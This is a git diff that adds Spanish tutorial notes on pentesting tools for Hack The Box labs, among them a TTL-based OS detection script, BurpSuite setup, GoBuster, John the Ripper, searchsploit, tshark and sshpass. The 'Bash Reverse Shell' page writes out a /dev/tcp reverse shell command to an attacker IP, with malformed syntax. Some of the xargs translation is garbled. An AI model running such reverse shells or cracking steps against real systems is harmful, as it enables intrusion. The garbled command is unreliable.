caso de crearlo: + +![Captura de pantalla -2022-04-10 15-05-52](https://user-images.githubusercontent.com/103068924/162619644-e78cd89e-28d3-4b20-b190-ea5e62eeffac.png) + +Vamos al directorio: + + cd /usr/bin/ + +Creamos el archivo wichSystem.py: + + sudo nano wichSystem.py + +Copiamos y pegamos el script. + +```py +#!/usr/bin/python3 +#coding: utf-8 + +import re, sys, subprocess + +# python3 wichSystem.py 10.10.10.188 + +if len(sys.argv) != 2: + print("\n[!] Uso: python3 " + sys.argv[0] + " \n") + sys.exit(1) + +def get_ttl(ip_address): + + proc = subprocess.Popen(["/usr/bin/ping -c 1 %s" % ip_address, ""], stdout=subprocess.PIPE, shell=True) + (out,err) = proc.communicate() + + out = out.split() + out = out[12].decode('utf-8') + + ttl_value = re.findall(r"\d{1,3}", out)[0] + + return ttl_value + +def get_os(ttl): + + ttl = int(ttl) + + if ttl >= 0 and ttl <= 64: + return "Linux" + elif ttl >= 65 and ttl <= 128: + return "Windows" + else: + return "Not Found" + +if __name__ == '__main__': + + ip_address = sys.argv[1] + + ttl = get_ttl(ip_address) + + os_name = get_os(ttl) + print("\n%s (ttl -> %s): %s\n" % (ip_address, ttl, os_name)) +``` + +Guardamos : Cntrl + o + +Salimos : Cntrl + x + +Le damos permisos de ejecución: + + sudo chmod +x wichSystem.py + +y ya tendriamos listo nuestra nueva herramienta WichSystem. + +# Menciones: + +Esta herramienta no la he creado yo, solo la recopilo y comparto su instalación. +El creador de esta herramienta es el creador de contenido S4vitar, tiene diversos canales en YouTube y retransmite en Twitch sobre temas de ciber +seguridad y resolución de máquinas de Hack the Box. + +S4vitar: [https://github.com/s4vitar](https://github.com/s4vitar) + + +--- +--- + + + + + + + + + + + + + + + +--- +--- diff --git a/Web/Herramientas_y_Scripts/bash-reverse-shell.md b/Web/Herramientas_y_Scripts/bash-reverse-shell.md new file mode 100644 index 00000000000..161b71b77a8 --- /dev/null +++ b/Web/Herramientas_y_Scripts/bash-reverse-shell.md @@ -0,0 +1,54 @@ +# Bash Reverse Shell + +Mediante Bash podemos establecer una shell inversa en la que poder utilizar una gran variedad de herramientas. +En primer lugar, antes debemos tener en cuenta que ciertos detalles sobre la Bash Reverse Shell: +* No funcionará en equipos Windows, ya que estos no tienen instalado Bash. +* Tampoco funcinará en sistemas Unix que no tengan Bash instalado, en tal caso, podemos usar `sh`. + +Para establecer una reverse shell en bash simplemente nos ponemos en escucha con `NetCat` por el puerto deseado: + + nc -lvnp PUERTO + +`Ejemplo:` + + nc -lvnp 443 + +Luego desde el esquipo objetivo ejecutamos el siguiente comando para establecer la reverse shell: + + /bin/bash -i >& /dev/tcp/[Ip Víctima]/[Ip Atacante]-Puerto 0>&1 + +`Ejemplo:` + + /bin/bash -i >& /dev/tcp/10.10.10.10/10.10.14.14-443 0>&1 + +Mediante este comando estamos estableciendo una reverse shell desde el equipo víctima (10.10.10.10) a nuestro equipo (10.10.14.14) por nuestro +puerto 443. + +Si todo ha funcionado correctamente veremos como en la terminal donde estábamos en escucha con NetCat se nos abre la reverse shell. + + +--- +--- + + + + + + + + + + + + + + + +--- +--- diff --git a/Web/Herramientas_y_Scripts/burpsuite.md b/Web/Herramientas_y_Scripts/burpsuite.md new file mode 100644 index 00000000000..3a115dec3c9 --- /dev/null +++ b/Web/Herramientas_y_Scripts/burpsuite.md @@ -0,0 +1,132 @@ +# BurpSuite + +* ¿Qué es BurpSuite? +* Herramientas Necesarias. +* Configuración de FoxyProxy +* Actualizar BurpSuite +* Configuración de BurpSuite +* Como Interceptar peticiones básicas. + + + +## ¿Qué es BurpSuite? + +Burp Suite, también conocida como `la navaja suiza del pentester`, es una herramienta multifunción para realizar auditorías de seguridad a aplicaciones Web. +Integra diferentes componentes de pentesting y funcionalidades para realizar las pruebas y permite combinar pruebas tanto automáticas como manuales. La herramienta +Burp Suite está desarrollada y mantenida por la empresa `PortSwigger`, y cuenta con dos versiones: Burp Free (gratuita) y Burp Professional (de pago). La versión gratuita +se puede encontrar ya instalada en Kali Linux, la distribución de Linux diseñada para auditorías y seguridad informática. + +`Podeís Descargas BurpSuite en su págian Oficial` --> [Link](https://portswigger.net/burp/communitydownload) + +Para instalar BurpSuite directamente desde la terminal (para sistemas como Parrot o Kali): + + sudo apt install burpsuite + + +## Herramientas Necesarias: + +Para poder trabajar con BurpSuite vamos a necesitar otras dos herramientas imprescindibles, primero necesitaremos un navegador (preferentemente firefox) y luego +también necesitaremos la aplicación o extensión llamada `Foxy Proxy`. Esta extensión también existe para Chrome. + +`Descargas Foxy Proxy` --> [Link](https://addons.mozilla.org/es/firefox/addon/foxyproxy-standard/) + +La dinámica será la siguiente, BurpSuite intercepta los datos del Navegador utilizando Foxy Proxy, de esta forma podremos trabajar con estos paquetes +interceptados. + +Para ello tendremos que configurar BurpSuite y FoxyProxy para establecer entre ellos una comunicación. + + +### Configuración de FoxyProxy: + +Una vez instalado FoxyProxy en el navegador, simplemente pulsamos sobre él y luego pulsamos el botón `Options`. + +![Captura de pantalla 2022-07-21 004025](https://user-images.githubusercontent.com/103068924/180094673-c0c8a26e-e183-4195-845d-de45fb2a6565.png) + + +Tras abrirse el programa, en la parte izquierda, nos dirigimos a la opción `Add`. + +![Captura de pantalla 2022-07-21 003734](https://user-images.githubusercontent.com/103068924/180094303-6b18acaa-9fa0-4cba-9949-effbb85b68f9.png) + +De Título podemos poner `BurpSuite` para poder identificarlo, el color que deseamos (En mi caso verde, que es más vistoso) y ahora vamos a lo importante. + +Para poder establecer conexión con BurpSuite vamos a usar un Proxy de tipo `HTTP` y una dirección Ip `127.0.0.1` (Esta dirección Ip es nuestro localhost) por +el puerto 8080. + +![Captura de pantalla 2022-07-21 003827](https://user-images.githubusercontent.com/103068924/180094382-b78d1d9d-9db3-410d-9591-a99c8e266a43.png) + +`Nota:` En caso de tener problemas a la hora de capturar el tráfico, tener en cuenta de que no estáis usando el puerto 8080 para otros procesos. En tal caso +emplear un puerto distinto o matar el proceso. + +Con esto ya tendríamos FoxyProxy configurado, pulsamos guardar `save` y veremos tras guardas como ya nos aparece nuestro nuevo Proxy en el icono de la extensión +si pulsamos encima con el ratón. + +![Captura de pantalla 2022-07-21 003510](https://user-images.githubusercontent.com/103068924/180094697-283b86e6-2f86-4d80-8653-b0e034ca1eeb.png) + + +### Actualizar BurpSuite: + +Es recomendable borrar previamente la versión anterior de BurpSuite e instalar la nueva versión en su directorio `/opt/BurpSuiteCommunity/`. +Descargar el archivo `.sh` desde su página principal. Luego lo ejecutamos como administrador: + + sudo chmod +x BurpSuite.sh + +Luego con el siguiente comando procedemos a su instalación: + + ./BurpSuite.sh + +Una vez instalado para ejecutarlo, escribimos `BurpSuiteCommunity`. + + +### Configuración de BurpSuite: + + + +Para configurar el proxy debemos acceder a la pestaña `Proxy` -> `Options` y nos aseguramos que la opción `Running` esté marcada. Luego introducimos en la columna +`Interface` los mismos datos con los que hemos configurado FoxyProxy, que en nuestro caso es nuestro localhost por el puerto 8080 (127.0.0.1:8080). + +![Captura de pantalla 2022-07-21 004623](https://user-images.githubusercontent.com/103068924/180095402-d96a38bc-934f-41fa-bb5e-183fc1e1ef95.png) + +Ya tendríamos configurado BurpSuite y listo para su funcionamiento. + + +### Como Interceptar peticiones básicas. + +Para interceptar una petición con BurpSuite, una vez tenemos el FoxyProxy configurado, preparamos la petición que queramos capturar, y activamos FoxyProxy. +Luego desde BurpSuite nos dirigimos al apartado `Proxy` y activamos la casilla en modo `Intercept is on`. + +![Captura de pantalla 2022-07-21 005816](https://user-images.githubusercontent.com/103068924/180096836-94b40517-d704-4bb0-a2ab-163bb1641826.png) + +![Captura de pantalla 2022-07-21 005926](https://user-images.githubusercontent.com/103068924/180096903-3fb03265-3b28-4e9e-8520-9afb98b6d99e.png) + +Finalmente, realizamos la petición que queríamos capturar en el navegador y veremos como BupSuite la interceptará. + + + + + + +--- +--- + + + + + + + + + + + + + + + +--- +--- diff --git a/Web/Herramientas_y_Scripts/goBuster.md b/Web/Herramientas_y_Scripts/goBuster.md new file mode 100644 index 00000000000..cf222fd2795 --- /dev/null +++ b/Web/Herramientas_y_Scripts/goBuster.md @@ -0,0 +1,38 @@ +# GoBuster + +## ¿Qué es GoBuster? + +Gobuster es una herramienta open source que permite la identificación de contenido web como directorios o ficheros que pudiesen estar +accesibles u ocultos en un portal web. Esto lo realiza a través de solicitudes http con un diccionario o por fuerza bruta, y detectará +la existencia de las mismas en función del código de respuesta obtenido. + +GoBuster tiene la capacidad de realizar las siguientes enumeraciones: + +* URIs (directorios y ficheros) en portales web. +* Subdominios DNS con soporte para wildcard. +* Nombres de virtual hosts en servidores web. +* Buckets S3 de Amazon públicos. + +## ¿Cómo instala GoBuster? + +En caso de tener una distribución basada en Debian, podéis instalarlo directamente desde la terminal mediante le siguiente comando: + + sudo apt install gobuster + +# Tipos de enumeraciones: + +Como ya indicábamos se pueden hacer 4 tipos de enumeraciones, de `URIs`, `DNS`, `vhosts` y `buckets S3` así que vamos a ver cada una de ellas. + +### Escaneo de Directorios: + + gobuster dir -u http://www.ejemplo.com/ -w /ruta/del/diccionario + +* `dir`: Indica que vamos a enumerar directorios. +* `-u`: Especifica la targeta URL. +* `-w`: Especifica la ruta del diccionario. + +Más información acerca de goBuster --> Link + + + + diff --git a/Web/Herramientas_y_Scripts/john_the_ripper.md b/Web/Herramientas_y_Scripts/john_the_ripper.md new file mode 100644 index 00000000000..b8036712da4 --- /dev/null +++ b/Web/Herramientas_y_Scripts/john_the_ripper.md @@ -0,0 +1,87 @@ +![john-the-ripper](https://user-images.githubusercontent.com/103068924/165256644-634b06fa-bd19-4238-8f4f-00bf93aa165e.png) + +# JOHN THE RIPPER + +John the Ripper es una herramienta de software gratuita para descifrar contraseñas. Originalmente desarrollado +para el sistema operativo Unix, puede ejecutarse en quince plataformas diferentes (once de las cuales son versiones +específicas de la arquitectura de Unix, DOS, Win32, BeOS y OpenVMS). Es uno de los programas de prueba y ruptura de +contraseñas más utilizados, ya que combina una serie de crackers de contraseñas en un solo paquete, detecta +automáticamente los tipos de hash de contraseña e incluye un cracker personalizable. Se puede ejecutar en varios +formatos de contraseña cifrada, incluidos varios tipos de hash de contraseña cifrada que se encuentran más comúnmente +en varias versiones de Unix (basadas en DES, MD5 o Blowfish), Kerberos AFS y Windows NT/2000/XP/2003 LM hash. + +Los módulos adicionales han ampliado su capacidad para incluir hash de contraseñas basadas en MD4 y contraseñas +almacenadas en LDAP, MySQL y otros. + +## Instalación: + +John the Ripper viene preinstalado con Parrot OS y Kali Linux, sin embargo, si no lo tiene, puedes instalarlo desde +el repositorio: + + sudo apt install john + + +## Instrucciones de uso: + +Para utilizar John, primero debemos de entender bien como funciona el sistema de hash y de contraseñas. + +Antes de ejecutrar John, tendremos que extraer el hash del archivo que queremos descifrar. Para posteriormente saber +que algoritmo de hash utiliza, y luego, por medio de un diccionario, utilizar fuerza bruta hasta descibrar el hash. + +Las funciones más típicas de hash de contraseñas son MD5, SHA-1, SHA2-256, SHA2-512 entre otras. + +Actualmente los algoritmos más comunes para proteger las contraseñas son KDF: Argon2 (KDF) scrypt (KDF) bcrypt PBKDF2 +(KDF). + +La principal diferencia entre un KDF y una función de hash de contraseñas, es que la longitud con los KDF +es arbitraria, y en las típicas funciones hash tienen una salida de longitud fija. + +No obstante, se siguen utilizando mucho las funciones de hash. + +### Extraer hash de un .zip: + + zip2john [archivo.zip] > hash + +De esta manera extraeremos el hash del archivo .zip en el archivo 'hash' para posteriormente poder trabajar con él. + +### Ejecutar John y el diccionario rockyou.txt: + + john --wordlist=/usr/share/wordlists/rockyou.txt hash + +![Captura de pantalla -2022-04-26 11-07-52](https://user-images.githubusercontent.com/103068924/165265458-aef0e310-ff62-4057-90ce-be6f8a65c45c.png) + +El archivo rockyou.txt es un diccionario con más de 14 millones de contraseñas. En caso de no tenerlo, podéis +descargarlo y guardarlo en la ruta /usr/share/wordlists/ + +Muy bien, ahora para poder ver la contraseña descifrada: + + john --show hash + + ![Captura de pantalla -2022-04-26 11-10-46](https://user-images.githubusercontent.com/103068924/165265589-818f0f4e-9b0b-42fa-ad8d-250a3a585601.png) + + +--- +--- + + + + + + + + + + + + + + + +--- +--- diff --git a/Web/Herramientas_y_Scripts/mkt.md b/Web/Herramientas_y_Scripts/mkt.md new file mode 100644 index 00000000000..d97501f4fef --- /dev/null +++ b/Web/Herramientas_y_Scripts/mkt.md @@ -0,0 +1,59 @@ +# Función MKT: + +Esta función está definida para crearnos cuatro directorios (`nmap`, `content`, +`exploits` y `scripts`) desde los cuales poder trabajar a la hora de realizar +las máquinas de HTB. + +![Captura de pantalla -2022-05-05 08-41-27](https://user-images.githubusercontent.com/103068924/166874377-678da3d9-a60b-4910-ba2b-e73d5f378dd0.png) + + + # Función para crear directorios: + function mkt(){ + mkdir {nmap,content,exploits,scripts} + } + + +![Captura de pantalla -2022-05-05 08-42-15](https://user-images.githubusercontent.com/103068924/166874371-472c7706-b34e-4712-b270-c26447eb49ad.png) + + +Simplemente copiamos la función y la pegamos dentro del archivo `~/.zshrc`: + + nano ~/.zshrc + +Pegamos la función. `Cntrl + o` para guardar y `Cntrl + x` para salir. + +Ahora para ejecutarlo, simplemente desde la carpeta en la que queramos crear +los directorios de trabajo, usamos el comando `mtk`: + + mtk + +![Captura de pantalla -2022-05-05 08-43-11](https://user-images.githubusercontent.com/103068924/166874403-66f732eb-5180-48b4-b6a4-940873c411fb.png) + +![Captura de pantalla -2022-05-05 08-43-34](https://user-images.githubusercontent.com/103068924/166874405-6d25c2c6-b415-4bc4-8ac6-4af143715b19.png) + + +--- +--- + + + + + + + + + + + + + + + +--- +--- diff --git a/Web/Herramientas_y_Scripts/searchSploit.md b/Web/Herramientas_y_Scripts/searchSploit.md new file mode 100644 index 00000000000..7c9d3b44e97 --- /dev/null +++ b/Web/Herramientas_y_Scripts/searchSploit.md @@ -0,0 +1,138 @@ +![searchsploit-kali-linux](https://user-images.githubusercontent.com/103068924/170473716-7ad5193c-3a45-43f5-a916-0c3c7fa605bc.jpg) + +# SearchSploit + +* ¿Qué es SearchSploit? +* Instalación. +* Búsqueda General. +* Búsqueda por Títulos. +* Distinguir Mayúsculas y Minúsculas. +* Copiar ruta del Exploit al portapapeles. +* Excluir Resultados. +* Copiar Exploit al directorio actual. +* Examinar resultados de NMAP. + + + +## ¿Qué es SearchSploit? + +Searchsploit es una herramienta de búsqueda de línea de comandos para Exploit-DB que te permite llevar contigo una copia de Exploit DataBase +(la base de datos más extensa de exploits), muy útil cuando no tienes acceso a Internet. + +Básicamente, busca exploits relacionados con las palabras que le proporcionemos, que pueden ser, nombres del sistema, versiones, servicios, programas que se +estén ejecutando,etc. Contiene exploits para tanto para sistemas Windows como para Linux y muchas de sus distribuciones. + + +## Instalación: + +Si estás utilizando la versión estándar de Kali Linux, el paquete `exploitdb` ya está incluido de forma predeterminada. Sin embargo, si estás utilizando otro, +puedes instalar el paquete manualmente de la siguiente manera: + + apt update && apt -y install exploitdb + +También puedes clonarte la herramienta desde los repositorios de GitHub: + + git clone https://github.com/offensive-security/exploit-database.git + +## Ejecución: + +### Opciones: + +Podemos ver todas las funciones de este comando utilizando la opción `--help`: + + searchsploit --help + + +### Búsqueda General: + +Para realizar una búsqueda global de algo que nos llame la atención simple meten ejecutamos el comando `searchsploit` seguido de la palabra que deseamos buscar: + + searchsploit [Palabra a Buscar] + +Ejemplo: + + searcsploit Explore + + +### Búsqueda por Títulos: + +El uso de la opción `-t` habilita el parámetro `título` para buscar un exploit con un título específico. Porque por defecto, searchsploit intentará tanto el título +del exploit como la ruta. La búsqueda de un exploit con un título específico da resultados rápidos y ordenados. + + searchsploit -t [Palabra a Buscar] + + +### Distinguir Mayúsculas y Minúsculas: + +Al usar la opción `–c`, se puede realizar una búsqueda que distingue entre mayúsculas y minúsculas. Esto permite descubrir la vulnerabilidad relacionada con la +mención de caracteres específicos en el comando, de manera predeterminada hace una `búsqueda insensitive`. + + +### Copiar ruta del Exploit al portapapeles: + +Al emplear la opción `-p`, se muestra la ruta completa de un exploit. Esta opción proporciona más información relacionada con el exploit, así como también copia +la ruta completa del exploit al portapapeles, todo lo que se necesita es presionar las teclas `Ctrl + v` para pegar. + + searchsploit 39166 + + searchsploit -p 39166 + + +### Excluir Resultados: + +Al utilizar la opción `--exclude`, se habilita el parámetro de exclusión para eliminar los resultados no deseados dentro de la lista de exploits. + + searchsploit [Palabra a Buscar] -w --exclude="[Palabra Excluida]" + + +### Copiar Exploit al directorio actual: + +La opción `-m` copia un exploit en el directorio de trabajo actual. Esta opción proporciona la misma información que la anterior relacionada con el +exploit, pero también copia la vulnerabilidad en tu directorio actual de trabajo. + + searchsploit -m [Nombre del Exploit] + + searchsploit -m 39166 + + +### Examinar resultados de NMAP: + +Como todos sabemos, Nmap tiene una característica muy notable que te permite guardar el resultado de salida en formato `.xml` y podemos identificar +cada vulnerabilidad asociada con el archivo xml de nmap. + +La forma recomendada de realizar la lectura con `nmap` es la siguiente: + + nmap -sV [Ip Víctima] -oX resultado.xml + +Ya tenemos los resultados de `nmap` guardados en el archivo `resultado.xml`, ahora con `searchsploit`, empleando la opción `-x` podemos examinar y con +la opción `-nmap` comprobar todos los resultados en la salida XML de Nmap para averiguar el exploit relacionado con ello. + + searchsploit -x --nmap resultado.xml + + +--- +--- + + + + + + + + + + + + + + + +--- +--- + diff --git a/Web/Herramientas_y_Scripts/sshpass.md b/Web/Herramientas_y_Scripts/sshpass.md new file mode 100644 index 00000000000..3f386e3781a --- /dev/null +++ b/Web/Herramientas_y_Scripts/sshpass.md @@ -0,0 +1,84 @@ +# SSHPASS + +`Sshpass` es una herramienta de líneas de comandos que nos permite proporcionar una contraseña junto con el nombre de usuario de `SSH`. + +Ssh usa el acceso TTY directo para asegurarse de que la contraseña realmente la proporcione un usuario de teclado interactivo. Sshpass ejecuta ssh en +un tty dedicado, lo engaña para que crea que está recibiendo la contraseña de un usuario interactivo. + +El uso de sshpass se considera menos seguro, ya que revela la contraseña a todos los usuarios del sistema en la línea de comandos con el simple comando `ps` . +Es mucho más seguro utilizar la autenticación sin contraseña previa SSH. + +# Instalar SSHPASS: + +Normalmente, Sshpass suele venir instalado de serie en sistemas preparados para el pentesting como Kali o Parrot, para instalar la herramienta simplemente +ejecutar el siguiete comando en la terminal (Esto es válido para sistemas basados en Debian): + + sudo apt install sshpass + +Sshpass se usa junto con ssh , puede ver todas las opciones de uso de sshpass con descripciones completas emitiendo el siguiente comando: + + sshpass -h + +# Incluir contraseña en SSH mediante SSHPASS: + +Para poder introducir la contraseña junto con el nombre de usuario para iniciar una conexión ssh debemos cumplir la siguiente sintaxis: + + sshpass -p "Mi_Contraseña" ssh usuario@[Dirección_Ip] + +`Ejemplo:` + + sshpass -p "12345" ssh Manolo@10.10.10.10 + + Aquí, la contraseña se proporciona en la línea de comando, que es prácticamente insegura y no se recomienda usar esta opción. + + +# Incluir contraseña guardada en un archivo con SSHPASS: + +También podemos utilizar la opción `-f` y poner la contraseña en un archivo. De esta manera, puede leer la contraseña del archivo de la siguiente manera: + + sshpass -f [ArchivoConLaContraseña] ssh usuario@[Dirección_Ip] + + +# Evitar mostrar la contraseña por pantalla con SSHPASS: + +Para evitar mostrar la contraseña en la pantalla, puede usar la -ebandera e ingresar la contraseña como un valor de la variable de entorno `SSHPASS` +como se muestra a continuación: + + exportar SSHPASS= 'Mi_Contraseña' + echo $SSHPASS + sshpass -e ssh usuario@[Dirección_Ip] + +La variable de entorno `SSHPASS` es solo para fines temporales y se eliminará durante el reinicio. + +--- +--- + + + + + + + + + + + + + + + +--- +--- + + + + + + + diff --git a/Web/Herramientas_y_Scripts/tshark.md b/Web/Herramientas_y_Scripts/tshark.md new file mode 100644 index 00000000000..dca55c739df --- /dev/null +++ b/Web/Herramientas_y_Scripts/tshark.md @@ -0,0 +1,127 @@ +# Tshark + + +* ¿Qué es Tshark? +* Capturar paquetes http. +* Capturar paquetes http y guardar resultados en un archivo `.cap`. +* Representar los resultados guardados de un análisis con Tshark. +* Filtrar resultados guardados. +* Ver atributos de un paquete. +* Filtrar por campos que contenga el archivo. + + + +# ¿Qué es Tshark? + +Thark es una herramienta para realizar análisis de protocolos. Se utiliza a través de línea de comandos. Todo el manejo tiene que realizarse +a través de comandos. + + +Como herramienta similar encontramos `Tcpdump`. Esta también es muy utilizada en entornos Linux que no disponen de entorno gráfico para trabajar. + + +Tshark puede realizar análisis en tiempo real o investigar una captura guardada. Estos son los conocidos ficheros pcap o pcapng. +La ventaja que nos ofrece Tshark frente a otras herramientas en línea de comandos es su funcionamiento. Podríamos decir sin equivocarnos +que es Wireshark, pero en línea de comandos. Esto quiere decir que las personas que estén acostumbradas a trabajar con Wireshark van a poder +realizar las mismas tareas, pero sin tener que hacerlo a través de ventanas y botones. Lo que permite incluso utilizarlo o incorporarlo en +scripts automatizados. + + + +## Capturar paquetes http: + + + tshark -i tun0 -Y "http" 2>/dev/null + + + +## Capturar paquetes http y guardar resultados en un archivo .cap: + + + tshark -i tun0 -w Captura.cap 2>/dev/null + + +* `-i`: Especifica la interfaz. En este caso `tun0`. +* `-w`: Especifica que queremos guardar la información. Los datos se guardarán en el archivo `Captura.cap`. +* `/dev/null`: Es el dispositivo nulo, toma cualquier entrada que desee y la tira. Se puede usar para suprimir cualquier salida. + +* Más información sobre `/dev/null` --> Link + + + +## Representar los resultados guardados de un análisis con Tshark: + + +Ahora, los resultados han quedado guardados en el archivo Captura.cap, para poder representar los archivos sustituimos la opción `-i` por `-r`: + + + tshark -r Captura.cap 2>/dev/null + + + +## Filtrar resultados guardados: + + +Para filtrar y representar por pantalla los resultados guardados de un análisis con Tshark, utilizaremos la opción `-Y`: + + + tshark -r Captura.cap -Y "[Palabra Filtrada]" 2>/dev/null + +`Ejemplo:` + + tshark -r Captura.cap -Y "http" 2>/dev/null + +En este ejemplo, Tshark representará la información que contenga la palabra `http`. + + + +## Ver atributos de un paquete: + + +Empleando la opción `-Tjson` podremos ver por cada paquete filtrado pro la palabra `http` todos sus atributos en `json`. + + + tshark -r Captura.cap -Y "http" -Tjson 2>/dev/null + + + +## Filtrar por campos que contenga el archivo: + + +En el siguiente ejemplo vamos a ver como extraer toda la data en hexadecimal de un campo específico. En este caso Tshark mediante la opción +`-Tfields` especifica que queremos exportar un campo y `data.data` es el campo que queremos exportar. + + + tshark -r Captura.cap -Y "http" -Tfields -e "data.data" 2>/dev/null + + + + +--- +--- + + + + + + + + + + + + + + + + +--- +--- + + diff --git a/Web/Herramientas_y_Scripts/whatweb.md b/Web/Herramientas_y_Scripts/whatweb.md new file mode 100644 index 00000000000..0b82a7115a1 --- /dev/null +++ b/Web/Herramientas_y_Scripts/whatweb.md @@ -0,0 +1,67 @@ +# Whatweb + +![Captura de pantalla 2022-07-30 142904](https://user-images.githubusercontent.com/103068924/181914464-1d04607e-079f-45f8-9fbc-fa2986c905a7.png) + +## ¿Qué es Whatweb? + +Whatweb es un escáner de información de nueva generación. Como su nombre lo dice ‘¿qué sitio web es este?’. Esta herramienta se puede utilizar para identificar +todo tipo de información sobre el sitio. Esta herramienta fue desarrollada por Andrew Horton y Brendan Coles. + +Whatweb puede recolectar información como: +* Plataforma en la que se construyó el sitio. +* Tipo de script en el que se usa el script del sitio. +* Google Analytics. +* Dirección IP o País. +* Plataforma de servidor web y mucho más. + +Whatweb emplea tanto el escaneo activo como el pasivo. El escaneo activo extrae más profundamente con varios tipos de tecnologías, pero la exploración +pasiva simplemente extrae datos de los encabezados HTTP. + +La sintaxis es muy simple, el comando seguido de la dirección web: + + whatweb [Dirección Web] + +`Ejemplo:` + + whatweb 10.10.10.10 + + whatweb http://10.10.10.10 + + whatweb wwww.ejemplo.com + + whatweb https://10.10.10.10:8080 + +![Captura de pantalla 2022-07-30 144558](https://user-images.githubusercontent.com/103068924/181914969-7f2848b8-8574-4687-9206-962bfd7cadb8.png) + +Para reportar un poco más de información podemos añadir la opción `-v`: + + whatweb -v [Dirección web] + +* `-v`: Análisis detallado explora el sitio web con mayor profundidad para que se pueda utilizar más información en el análisis del sitio web. + +--- +--- + + + + + + + + + + + + + + + +--- +--- + diff --git a/Web/Herramientas_y_Scripts/xargs.md b/Web/Herramientas_y_Scripts/xargs.md new file mode 100644 index 00000000000..76ac4134b28 --- /dev/null +++ b/Web/Herramientas_y_Scripts/xargs.md @@ -0,0 +1,194 @@ +# Manual de Comandos Generales XARGS + +## NOMBRE + +`xargs`: Crea y ejecuta líneas de comando desde la entrada estándar. + +## SINOPSIS + +xargs [opciones] [comando [argumentos]] + +## DESCRIPCIÓN + +Esta página del manual documenta la versión GNU de `xargs`. Xargs lee elementos de la entrada estándar, delimitados por espacios en blanco (que se pueden +protegido con comillas simples o dobles o una barra invertida) o saltos de línea y ejecuta el comando (el valor predeterminado es echo ) uno o más +veces con cualquier argumento inicial seguido de elementos leídos de entrada estándar. Las líneas en blanco en la entrada estándar se ignoran. + +La línea de comando para el comando se construye hasta que llega a un límite definido por el sistema (a menos que se utilicen las opciones -n y -L ).El comando +especificado se invocará tantas veces como sea necesario para utilizar la lista de elementos de entrada. En general, habrá +muchas menos invocaciones de mando que elementos en el aporte. Esto normalmente tendrá importantes beneficios de rendimiento. +Algunos comandos también se pueden ejecutar en paralelo; Para ello se utiliza la opción `P`. + +Debido a que los nombres de archivo de Unix pueden contener espacios en blanco y saltos de línea, este el comportamiento predeterminado suele ser +problemático; nombres de archivos que contienen xargs procesa incorrectamente los espacios en blanco y/o las nuevas líneas . En +estas situaciones es mejor usar la opción `-0` , que previene este tipo de problemas. Al usar esta opción, deberá asegúrese de que el programa que produce +la entrada para xargs también utiliza un carácter nulo como separador. Si ese programa es GNU encuentre, por ejemplo, la opción `-print0` hace esto por usted. + +Si alguna invocación del comando sale con un estado de 255, xargs se detendrá inmediatamente sin leer más entradas. Se emite un mensaje de error en +stderr cuando esto sucede. + +## OPCIONES + +``` + -0, --null + Los elementos de entrada terminan con un carácter nulo en lugar de + por espacios en blanco, y las comillas y la barra invertida no son + especial (cada carácter se toma literalmente). Desactiva + el final de la cadena del archivo, que se trata como cualquier otro + argumento. Útil cuando los elementos de entrada pueden contener blanco + espacio, comillas o barras invertidas. El GNU encuentra -print0 + La opción produce una entrada adecuada para este modo. + + -a archivo , --arg-file= archivo + Leer elementos del archivo en lugar de la entrada estándar. Si usted + use esta opción, stdin permanece sin cambios cuando los comandos son + correr. De lo contrario, stdin se redirige desde /dev/null . + + --delimiter= dividir , -d dividir + Los elementos de entrada terminan con el carácter especificado. + El delimitador especificado puede ser un solo carácter, una C- + escape de carácter de estilo como \n , o un octal o + código de escape hexadecimal. Escape octal y hexadecimal + los códigos se entienden como para el comando printf . + Los caracteres multibyte no son compatibles. Al procesar + la entrada, las comillas y la barra invertida no son especiales; cada + carácter en la entrada se toma literalmente. La opción -d + deshabilita cualquier cadena de fin de archivo, que se trata como cualquier + otro argumento. Puede utilizar esta opción cuando la entrada + consiste simplemente en elementos separados por saltos de línea, aunque es + casi siempre es mejor diseñar su programa para usar --null + donde esto es posible. + + -E eof-str + Establece el final de la cadena del archivo en eof-str . Si el final del archivo + cadena se produce como una línea de entrada, el resto de la entrada es + ignorado Si no se usa ni -E ni -e , no hay fin de archivo + se utiliza una cuerda. + + -e [ eof-str ], --eof [ =eof-str ] + Esta opción es sinónimo de la opción -E . Usa -E + en cambio, porque es compatible con POSIX mientras que esta opción + no es. Si se omite eof-str , no hay fin de archivo + cuerda. Si no se usa ni -E ni -e , no hay fin de archivo + se utiliza una cuerda. + + -I replace-str + Reemplaza las ocurrencias de replace-str en la inicial- + argumentos con nombres leídos de la entrada estándar. También, + los espacios en blanco sin comillas no terminan los elementos de entrada; en cambio el + separador es el carácter de nueva línea. Implica -x y -L 1. + + -i [ reemplazar-cadena ], --reemplazar [ =reemplazar-cadena ] + Esta opción es un sinónimo de -I replace-str si + se especifica replace-str . Si falta el argumento replace-str , el + el efecto es el mismo que -I {}. Esta opción está en desuso; + use -I en su lugar. + + -L max-lines + Use como máximo max-lines líneas de entrada que no estén en blanco por comando + línea. Los espacios en blanco finales hacen que una línea de entrada sea lógicamente + continúa en la siguiente línea de entrada. Implica -x . + + -l [ líneas máximas ], --líneas máximas [= líneas máximas ] + Sinónimo de la opción -L . A diferencia de -L , el argumento max-lines + es opcional. Si no se especifica max-lines , + por defecto es uno. La opción -l está en desuso ya que el + El estándar POSIX especifica -L en su lugar. + + -n max-args , --max-args = max-args + Utilice como máximo argumentos max-args por línea de comando. MenosSe usarán argumentos + + que max-args si se excede el tamaño (consulte la opción -s ), a menos que se proporcione la opción -x , en + en cuyo caso saldrán xargs. + + -P max- procs , --max-procs = max-procs + Ejecuta hasta max-procs procesos a la vez; el valor predeterminado es 1. + Si max-procs es 0, xargs ejecutará tantos procesos como + posible a la vez. Use la opción -n o la opción -L + con -P ; de lo contrario, es probable que solo un ejecutivo sea + hecho. Mientras se ejecuta xargs , puede enviar a su proceso un + Señal SIGUSR1 para aumentar el número de comandos a ejecutar + simultáneamente, o un SIGUSR2 para disminuir el número. Tú + no puede aumentarlo por encima de un límite definido por la implementación + (que se muestra con --show-limits). no puedes disminuir + está debajo de 1. xargs nunca finaliza sus comandos; cuando + se le pide que disminuya, simplemente espera más de una + comando existente para terminar antes de iniciar otro. + + Tenga en cuenta que depende de los procesos llamados + gestionar adecuadamente el acceso paralelo a los recursos compartidos. Para + ejemplo, si más de uno de ellos intenta imprimir a + stdout, la salida se producirá en un indeterminado + orden (y muy probablemente mezclado) a menos que los procesos + colaborar de alguna manera para evitarlo. Usando algún tipo + del esquema de bloqueo es una forma de prevenir tales problemas. En + En general, el uso de un esquema de bloqueo ayudará a garantizar la correcta + salida pero reduce el rendimiento. si no quieres + 